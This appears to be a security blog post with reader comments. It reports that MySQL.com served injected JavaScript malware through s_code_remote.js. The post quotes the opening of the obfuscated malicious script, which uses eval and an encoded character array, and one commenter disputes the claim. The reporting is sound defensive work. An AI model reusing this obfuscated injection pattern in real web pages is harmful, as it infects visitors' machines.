MySQL.com Hacked (Javascript Malware)

It looks like the MySQL.com website is currently hacked and compromised with a JavaScript malware (and serving malware to anyone visiting it).

Our scanner identified the malware as mwjs159 which is often related to stolen FTP passwords. So it looks like one of their developers got their desktop compromised and had his password stolen. From our scanner:

So the compromised file was http://mysql.com/common/js/s_code_remote.js and we recommend that you do not visit the site right now. We will post more details as we learn more about it…

(Seems that MySQL.com fixed it already)Try view-source:http://mysql.com/common/js/s_code_remote.js if you want to see the malicious code on the site. It starts as:

Object.prototype.qwe=function(){return
String.fromCharCode;};Object.prototype.asd="e";var s="";try{{}["qwtqwt"]
();}catch(q){if(q)r=1;}if(r&&+new Object(1231)&&document.createTextNode("123")
.data&&typeof{}.asd.vfr===’undefined’)n=2;e=eval;m=[18/n,18/n,210/n,204/n,64/n,80/n,200/n, 222/n, 198/n, 234/n, 218/n, 202/n, 220/n, 232/n, 92/n, 206/n, 202/n,232/n, …

Update: It seems that MySQL.com fixed it already.

  1. Ok a lot of assumptions are being made here and that “malicious” section doesn’t exist within the s_code_remote.js file you reference.  However google *is* currently flagging a large section of the Bahnhof network as malicious. However it has nothing pointing out any specific MySQL sites being involved.  MySQL.com is a client on Bahnhof and is being flagged as collateral damage.

  2. There is an error in your CSS that hides the sharing bar when it is at the top (at least in Google Chrome 14). To fix it just remove the line “overflow: hidden;” in the line 467 of style.css

    That’s very sad. That was a very serious breach on their website which left visitors exposed to the malware. smh.
